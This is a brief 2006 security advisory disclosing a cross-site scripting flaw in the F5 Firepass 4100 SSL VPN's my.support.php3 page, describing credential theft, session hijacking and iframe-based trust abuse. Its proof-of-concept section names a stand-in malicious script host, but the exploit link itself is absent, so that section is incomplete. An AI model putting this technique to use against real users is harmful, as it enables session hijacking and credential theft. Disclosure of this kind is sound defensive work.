XSS in Firepass 4100 SSL VPN v.5.4.2 (and probably others)

[alfy@xxxxxxxxx]

Vulnerability class : Cross-Site Scripting
Discovery date : 2nd of February 2006
Remote : Yes
Local : No
Credit : ILION Research Labs, Geneva Switzerland
Vulnerable : F5 Firepass 4100 SSL VPN v. 5.4.2

A XSS (Cross-Site-Scripting) vulnerability has been uncovered in 
my.support.php3 called through a Web browser on the F5 Firepass 4100 SSL VPN. 

This allows an attacker to submit a crafted link to users of the vulnerable Web 
application in order to abuse their trust and steal their authentication 
credentials or hijack their sessions.

Trust abuse can be complete since the SSL certificate can appear as vouching 
for the trustworthiness of the website while the page actually displayed is 
hosted on a malicious third-party server (this can be done by using the 
<iframe> tag of IE for example).

Proof-of-concept exploit :

where http://MALICIOUS_SERVER.COM/EXPLOIT.JS is a malicious JavaScript 
interpreted by the victim's navigator.
